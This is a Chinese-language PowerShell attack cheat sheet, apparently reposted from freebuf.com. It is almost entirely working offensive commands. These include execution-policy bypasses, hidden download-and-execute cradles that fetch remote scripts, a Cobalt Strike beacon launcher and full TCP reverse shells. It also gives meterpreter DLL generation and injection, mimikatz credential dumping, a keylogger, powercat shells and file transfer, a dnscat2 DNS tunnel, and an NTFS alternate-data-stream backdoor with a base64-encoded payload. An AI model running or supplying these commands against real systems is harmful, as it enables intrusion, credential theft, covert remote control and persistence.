干货!powershell 利用详解
前言
这是自己在学习过程中遇到的关于一些powershell的利用,会有点乱和杂。
powershell命令详解
设置执行策略为 bypass:
powershell.exe -ExecutionPolicy bypass -noprofile IEX('') ExecutionPolicy bypass
iex 为invoke-expression的别名:接受一个字符串作为要运行的完整命令。
powershell 下载远程数据:
powershell (Invoke-WebRequest -Uri "http://127.0.0.1/hack.ps1" -OutFile "C:\1.ps1")
powershell 绕过本地权限执行文件:
powershell.exe -ExecutionPolicy Bypass -File 1.ps1
powershell 本地隐藏绕过权限执行脚本:
powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoLogo -NonInteractive -File 1.ps1
用iex下载远程ps1脚本绕过权限执行:
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("1.ps1");[Parameters]
cs上线命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://127.0.0.1:80/a'))"
powershell隐藏执行后面:
start-process C:\beacon.exe -windowstyle hidden
**start-process:**启动一个进程 **windowstyle:**窗口样式 **hidden:**隐藏
powershell 反弹shell:*
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("127.0.0.1",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.11',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$
ream.Flush()};$client.Close()"
powershell 远程连接 凭据请求:
Invoke-Command -ComputerName 192.168.19.100 -ScriptBlock {whoami} -credential adtest\administrator
DLL注入
invoke-DLLInjection DLL注入脚本
iex (new-object net.webclient).downloadstring("http://192.168.42.231/codeexec
ution/Invoke-DLLInjection.ps1")
msf 生成 dll 注入脚本来实现DLL注入
msfvenom -p windows/x64/meterpreter/reverse_http lhost=192.168.42.231 lport=8881 -f dll -o msf.dll
start-process c:\windows\system32\notepad.exe-windowstyle hidden
invoke-dllinjection -processid .\msf.dll
invoke-portscan 端口扫描
invoke-portscan -hosts "ip,ip" -ports "port,port"
invoke-mimikatz dump 密码
invoke-mimikatz -dumpcreds
Get-Keystrokes 键盘记录器
Get-Keystrokes -LogPath + <保存位置>
invoke-Ninjacopy 万能复制
invoke-Ninjacopy -Path <需要复制的文件> -localdestination <复制文件保存的位置
powershell+burp 落地文件
powershell -c "'aaa' | Out-File C:\1.txt -Append"
powercat 脚本用法
正向连接:
linux: nc -lvp 8888
windows: powercat -c 192.168.42.231 -p 8888 -e cmd.exe
反向连接:
linux: nc 192.168.42.231 8888 -vv
windows: powercat -l -p 8888 -e cmd.exe -v
windows之间互弹shell:
服务端 powercat -l -p 8888
客户端 powercat -c 192.168.42.231 -p 8888 -ep
服务端 powercat -l -p 8888
客户端 .\reverse.ps1
powercat 传输文件:
接收端 powercat -l -p 8888 -of test.txt -v
发送端 powercat -c 192.168.42.231 -p 8888 -I C:\Users\99\test.txt -v
powercat dnscat2 隧道通信:*
服务端: ruby -W0 dnscat2.rb ttpowercat.test -e open --no-cache
客户端: powercat -c 192.168.42.231 -p 53 -dns ttpowercat.test -e cmd.exe
ADS隐藏windows 后门
执行[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8123/malware.ps1'));")) 生成后的base64
执行1 echo powershell.exe -ep Bypass -noexit -enc [base64] > test.txt:1
执行2 echo Dim objShell:Set objShell = WScript.CreateObject("WScript.Shell"):command = "cmd /C for /f ""delims=,"" %i in (C:\\test\\test.txt:1) do %i":objShell.Run command, 0:Set objShell = Nothing > test.txt:2.vbs
执行3 wscript test.txt:2.vbs
来源:freebuf.com 2021-03-09 22:03:45 by: mengmeng1
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册